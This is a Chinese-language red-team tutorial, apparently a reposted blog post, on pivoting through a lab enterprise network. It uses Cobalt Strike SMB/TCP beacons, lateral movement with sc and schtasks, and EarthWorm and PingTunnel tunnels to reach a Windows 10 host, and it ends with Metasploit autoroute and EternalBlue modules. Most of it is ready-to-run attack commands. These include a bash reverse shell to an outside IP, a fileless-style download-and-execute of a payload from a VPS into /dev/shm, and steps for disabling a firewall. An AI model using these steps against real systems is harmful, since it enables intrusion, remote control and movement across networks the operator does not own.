各种姿势打穿企业内网

以前不是说要讲隧道吗??? 鸽了这么久终于想起来了!!! 

1.本次实验环境拓扑 

先来讲一下本次的实验环境吧,这样会更加清晰明了一点

首先我们是拿到了win7,然后最终目标上线内网的Win10

2.CS自带SMBbeacon上线

什么是smbbeacon呢??我前面的博客讲过,这个beacon最大的一个特点,就是你在上线内网的机器之前,需要建立IPC连接,否则不行(如果别人关闭了IPC连接就只能换别的了)

首先去创建对应的监听器和木马(stageless)

    ::你好(6)

然后先去建立IPC连接

然后不管你什么方法也好,计划任务啊,服务啊,之类的都好,让这个木马运行起来

但是这个时候还是没有机器上线的,因为你还需要去link他一下

link owa.god.org

可以看见是以派生的会话上线的

至此,我们拿下了第一层。

这时候我们再去看看winserver2016的ip

  • server2016 192.168.52.130
  • server2008 192.168.52.138

然后我们继续上面的操作

????? 怎么个事 ???? 还建立不了。看一下防火墙?

牛魔,原来开了防火墙,那我们关一下  !!! 果然是他在捣乱

那么后面我们的操作就很熟悉了

shell copy smbbeacon上线多层内网.exe  \\192.168.52.130\c$
shell sc \\192.168.52.130 create test binpath= "cmd.exe /c c:\smbbeacon上线多层内网.exe"
shell sc \\192.168.52.130 start test
link 192.168.52.130

成功继续上线

终于,到了最后一台Win10了!!! 还是老样子,先看IP

  • Win10                192.168.111.132
  • Winserver2016  192.168.111.130

那么,开始吧!!!!     

这个过程还是说一下哈,如果人家电脑开了防火墙或者装了杀软(火绒)IPC都是建立不成功的

至此,已成艺术!!! 整个内网就穿了!!!! 

3.CS自带TCPbeacon上线

在开始之前,还是先把刚才的连接给清除掉

接着就是去生成对应的TCP监听器和对应的木马了!!(记住对应的端口噢)

 :::你好,我是TCP上线多层内网的木马

然后我们又一次回到了起点

那么,就开始渗透!!!      

那么还是老样子,先是去建立IPC连接吧!!

然后我们这一次来计划任务横向移动吧 !!!

shell copy tcp.exe \\192.168.52.138\c$
shell schtasks /create /s 192.168.52.138 /tn tcp  /sc onstart /tr c:\tcp.exe /ru system /f
shell schtasks /run /s 192.168.52.138 /i /tn "tcp"
connect owa.god.org 9191 ---->这个就是上面创建监听器的时候的端口

至此,一层沦陷!!!

然后就是去打二层了,有了上面渗透时候的IP,我们就不用再去看IP了

直接开始 肾透就完事了      

IPC ok!!! 

横向  ok!! ok个鸡

你猜猜为什么我笑不出来     

按常理来说,能建立IPC,能传文件,但是为什么不能运行计划任务呢????   

那么换个思路,我们用服务来试试!!! 

shell sc \\192.168.52.140 create test binpath= "cmd.exe /c c:\tcp.exe"
shell sc \\192.168.52.140 start test
connect 192.168.52.140 9191

欸嘿,这就能上线!!!!  就很奇怪,所以在现实生活中也是,如果这个不行,就换那个

至此,二层内网沦陷  !! 那么,我们在尝试用计划任务横向最后的内网!!! 

md,我真是艹了,能复制,能访问,tmd创建不了计划任务,那就换服务!!!

真是无语了,看来以后都还是用服务吧!!!!

看来服务还是比计划任务好(命令也短,也可以隐藏,也可以伪装)

4.EW实现内网穿透

上面已经讲解了用CS打穿企业的方法,但是,不知道大家发现没有,我们用的服务器都是Windows,然而现实生活中,别人根本不会用到Windows服务器(大部分不会),所以,我就来打算搭建一个Linux连通内网的网络拓扑!!!

  :接下来,就是更加真实的企业环境实战!!!!

1.新的企业拓扑

我们的目的就是从 Ubuntu入手,打到win10,接下来,就是好戏上场啦!!!!

2.拿下Ubuntu

我们先去扫一扫

看到有一个8080端口,先去访问一下

学过框架的都知道,这是thinkphp,可能存在框架漏洞(现实生活中也真的有可能会碰到这样的一个界面,我就碰到过!!!)

那么我们就上工具吧!!

那Linux咋远控???上线CS(可以下crossc2插件上线,不过很复杂,这里就不细说),那我们能不能弹他的shell出来!!

bash -i >& /dev/tcp/192.168.246.1/9191 0>&1 

然后我们在本地用NC去监听

然后直接弹shell!!!

但是大哥??? 我shell呢??

  

这样的情况下,只有两种可能

1.防火墙,IPS阻断了

2.这是一个docker环境,很多环境都没得

首先排除第一种可能(牛魔的我哪里来的IPS) 所以我们再去看看判断docker环境

cat /proc/1/cgroup
ls -al docker.env

无敌,还真是docker!!

那么我们就要docker逃逸咯!! 但是docker逃逸很本章的隧道技术无关,所以我就直接忽略这个过程了!!! 

  ::我是已经拿到逃了docker拿到root的shell的贵族

这里我就用msf远控啦

通过查看IP,我们可以看见有一个52的内网网段

于是我们可以开始做隧道,我们先传一个EW上去

然后我们开代理

chmod 777 ew
./ew -s ssocksd -l 9191 & //其中&是让他在后台运行,不妨碍我们执行其他命令

然后我们就可以通过fscan探测内网了

但是就无敌了,明明这个网段有,但是我们扫不到

nmap就更牛魔了,硬生生的给我多出来几百台主机 

算了还是传个fscan上去吧。。。。。(一般在真实红队中,都不会轻易地传文件)

果然,一传上去就正常了!!!!成功找到有永恒之蓝的两台机器

那么我们就去试试用永恒之蓝操作一下??(希望别翻车啊)

但是你以为会成功吗???

确实能扫描出来,但是你就会发现一直打不成功

这时候呢,一般有两种可能

  1. 人家是内网,你回连不了

但是我可以这么说,这是不正确的 !!!因为我把所有环境都部署在了本地的虚拟机,所以存在网络摇曳的状况!! 我试过将流量通过公网服务器转发  ,发现是能成功地

那咋办,我们咋搞??

没事还是先上线一波cs吧,毕竟我喜欢图像化的渗透界面

http://公网VPS/shell > /dev/shm/shell && chmod +x /dev/shm/shell && /dev/shm/shell && rm -f /dev/shm/shell

感觉怎么样,是不是有点像powershell的无文件落地的上线模式,其实这个严格意义上来说也不算无文件落地,他还是下载了文件的,只不过删掉了而已。

但是无论如何,我们还是成功上线了

当然了,CS是不支持上线Linux的,你要用CrossC2这个插件(这个我会讲)

但是问题又来了,我们以前都是Windows去横向的,怎么进行Linux横向呢???

   :::我看看CrossC2的插件先

可以看见是有FRP的,但是怎么说呢FRP这个工具确实是强大,但是很麻烦!!! 不够轻量级!!!! 说到轻量级还得是EarthWorm啊!!!

 3.隧道搭建

于是我们可以搭个隧道玩玩咯!!!!!!

先传上去

然后让他在后台运行!!! 再上一次fscan

然后你就会发现,当你fscan扫着扫着的时候,就会因为连接不稳定,直接终止了ew这个进程(我真是无语了!!!!)

算了还是直接搭建隧道吧。。。。。。

去Windows Server上开ew,先来看一下ew的一些参数

 -s state setup the function.You can pick one from thefollowing options:ssocksd , rcsocks , rssocks ,lcx_listen , lcx_tran , lcx_slave-l listenport open a port for the service startup.-d refhost set the reflection host address.-e refport set the reflection port.-f connhost set the connect host address .-g connport set the connect port.-h help show the help text, By adding the -s parameter,you can also see the more detailed help.-a about show the about pages-v version show the version.-t usectime set the milliseconds for timeout. The default

然后我们就来开始吧,现在我们是已经拿下了Ubuntu了,那么假设我们想办法通过一些web服务横向到了Win7,然后我们想要做隧道

我们就需要在Ubuntu上执行

./ew -s lcx_listen -l 6666 -e 7777

什么意思呢?  意思就是通过ew 在本地监听一个6666端口, 然后将6666端口的流量转发的7777端口上!!!!!

然后,我们再去Win7上执行这么一个命令

ew.exe -s lcx_slave -d 192.168.52.141 -e 7777 -f 192.168.52.138 -g 8888

继续解释一下,这个命令,就是通过ew 远程连接我们Ubuntu的7777端口 并且将这个流量转发给Winserver的8888端口

然后假设,我们在Win7上,通过什么pth,ptt,ms14-068,非约束性委派拿到了域控Winserver的shell,然后我们去查看他的网卡

发现他还有一个22的网段,于是我们选择继续横向!!!!

于是,我们在Winserver上继续用ew

ew.exe -s lcx_listen -l 8888 -e 4444 

这样,我们就从8888端接口接受了来自Win7的流量,并且转发到本地的4444端口

接着,可能通过钓鱼什么的,或者域内直接上线,又拿下了Winserver的shell,然后发现他又是双网卡!!!  ------->还有一个111网段

于是,我们有了最后一步网络拓扑图

也就是直接上线Win10的3389了,那我们只需要在Winserver执行这样的一个命令

ew.exe -s lcx_slave -d 192.168.22.136 -e 4444 -f 192.168.111.132 -g 3389

这样,我们就通过EW将WinServer的4444端口的流量转发到了办公区win10的3389端口上!!!!!

然后,我们就可以直接访问Ubuntu本地的6666端口,就等于直接访问了Win10的3389端口了!!!! (不过有点慢,毕竟你可是跳了三张网卡!!)

看 3 4 5都是我用来实验的网卡,直接远程桌面到工作区的电脑

为了防止有人不信,我展示一下一路上的流量

当然了,CS的流量我在后台运行了,所以没显示!!!这样,就是整个环境的拓扑。

5.PingTunnel上线(Failed~~)

首先声明一下,这个实验的时候我是失败了的(搞得我托了好久!!)。但是,他的思路是没有问题的,这里还是分享一下思路!!!

首先就要去下载工具吧

echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all
./pingtunnel  -type server 

然后去将这个工具分别传上去!!! 网络拓扑如下

然后我们就是去在VPS上运行这个命令

echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all
./pingtunnel -type server

然后去跳板机上面执行这样的命令

pingtunnel.exe -type client -l 127.0.0.1:4466 -s VPS -t VPS:9988 -tcp 1 -noprint 1 -nolog 1

当然了这个命令中的本地的端口和VPS上的端口都是随便写的(但是你别写一些周知端口)

但是就会很奇怪,能显示两边正在通信,但是隧道打不通。。。。。

PingTunnel上线CS

这个也是一个很好的思路,因为我icmp隧道打不成功,所以无法复现。。。。

先去CS上创建两个监听器,一个绑定127.0.0.1 一个绑定你的VPS

然后用127的那个监听器生成木马

然后在跳板机执行这样的命令

pingtunnel.exe -type client -l 127.0.0.1:61861 -s VPS -t VPS:61861 -tcp 1 -noprint 1 -nolog 1

相信这时候你也能发现了!!! 

这时候的流量就是  木马 ———> 127.0.0.161861 ——Pingtunnel——>VPS:61861(上线)

这个思路是可以的,网上也有人对应进行复现,但是我没有环境,就不复现了。。

          ——————————>           

                                               真不是我想水啊

6.MSF写路由

这个也是一个用msf打内网的方法。 先来看一下网络拓扑

那么我们首先毫无疑问的就是要先给Ubuntu上马啦!

这个怎么上马我就不教了,大家都会,然后我们就拿到了一个meterpreter!!!

然后就是信息收集,发现除了一个 246网段,还有一个52网段!!!

那么我们就开始写路由

run get_local_subnets
run autoroute -s 192.168.52.141/24
run autoroute -p

然后假设我们知道了另一台52网段的win7的ip是192.168.52.143,而且还存在永恒之蓝。

那么我们开始渗透

bg
use auxiliary/scanner/smb/smb_ms17_010 
set rhost 192.168.52.143
run

可以建议先用模块扫一遍,看一下有没有永恒之蓝

然后就用模块开打

use exploit/windows/smb/ms17_010_eternalblue 
set rhost 192.168.52.143
run

但是呢,我还是那句话,虚拟机网络摇曳,打不通啊(真无语了)

不过现实攻防中应该是可以的,你们可以去尝试一下。当你拿下对面的主机之后,只要再加一层路由就可以了!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/707046.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ubuntu 计算器 gnome-calculator

sudo apt install gnome-calculator gnome-calculator

霍庭格TruPlasma MF 7100 7050电源现货50KW

霍庭格TruPlasma MF 7100 7050电源现货50KW

文档分类FastText模型 (pytorch实现)

文档分类FastText FastText简介层次softmaxN-gram特征FastText代码(文档分类) FastText简介 FastText与之前介绍过的CBOW架构相似,我们先来会议一下CBOW架构,如下图: CBOW的任务是通过上下文去预测中间的词&#xff0…

详解动态规划之01背包问题及其空间压缩(图文并茂+例题讲解)

1. 动态规划问题的本质 记忆化地暴力搜索所有可能性来得到问题的解 我们常常会遇到一些问题,需要我们在n次操作,且每次操作有k种选择时,求出最终需要的最小或最大代价。处理类似的问题,我们一般需要遍历所有的可能性(相当于走一遍…

STM32-串口通信波特率计算以及寄存器的配置详解

您好,我们一些喜欢嵌入式的朋友一起建立的一个技术交流平台,本着大家一起互相学习的心态而建立,不太成熟,希望志同道合的朋友一起来,抱歉打扰您了QQ群372991598 串口通信基本原理 处理器与外部设备通信的两种方式 并行…

邮箱地址验证软件有哪些-邮件地址验证软件

邮箱地址验证软件是帮助用户验证电子邮箱地址是否有效和真实存在的工具。以下是一些常用的邮箱地址验证软件: 易邮件地址验证大师:这是电子邮件营销平台MailerLite提供的一个简单的电子邮件验证工具,通过多层验证过程保证高准确率。寅甲邮件…

ChatGPT-4o 实战 如何快速分析混淆加密和webpack打包的源码

ChatGPT-4o 几个特点 一个对话拥有长时间的记忆,可以连续上传文件,让其分析,最大一个代码文件只能3M,超出3M的文件,可以通过split-file可以进行拆分 其次ChatGPT-4o可以生成文件的下载链接,这有利于大文件的…

TypeScript的数据类型系统

TypeScript的数据类型系统 在上一篇文章中,我们介绍了TypeScript的基本概念和它与JavaScript的关系。TypeScript的核心优势之一是其强大的类型系统,它提供了丰富的数据类型,使得代码更加可靠和易于维护。本文将深入探讨TypeScript中的各种数…

gpt4o在哪用?

GPT-4o功能? 1.感知用户情绪:前沿研究部门主管陈信翰(Mark Chen)让ChatGPT-4o聆听他的呼吸,聊天机器人侦测到他急促的呼吸,并幽默地建议他不要像吸尘器那样呼吸,要放慢速度。随后Mark深呼吸一次…

浏览器插件Video Speed Controller(视频倍速播放),与网页自身快捷键冲突/重复/叠加的解决办法

浏览器插件Video Speed Controller(视频倍速播放),与网站自身快捷键冲突/重复/叠加的解决办法 插件介绍问题曾今尝试的办法今日发现插件列表中打开Video Speed Controller的设置设置页面翻到下面,打开实验性功能。将需要屏蔽的原网…

邮件API接口的优势有哪些?如何有效整合?

邮件API怎么选?SendCloud与AokSend的性能对比分析? 邮件API接口作为企业与用户沟通的重要桥梁,其重要性不言而喻。Aok将深入探讨邮件API接口的优势、有效整合的方法、选择标准以及SendCloud与AokSend两款邮件发送服务的性能对比分析。 邮件…

杨校老师项目之基于SpringBoot+Shiro+Vue的企业人事管理系统

1.获取代码: 有偿获取:mryang511688 2.技术栈 后端 SpringBoot MySQL mybatis-plus shiro Redis 前端 Vue Element-UI 3.开发环境 JDK1.8、Maven3.5.4、MySQL5.7、Redis5.0.5、IntelliJ IDEA、nodejs 4.内置功能 Springboot的项目,…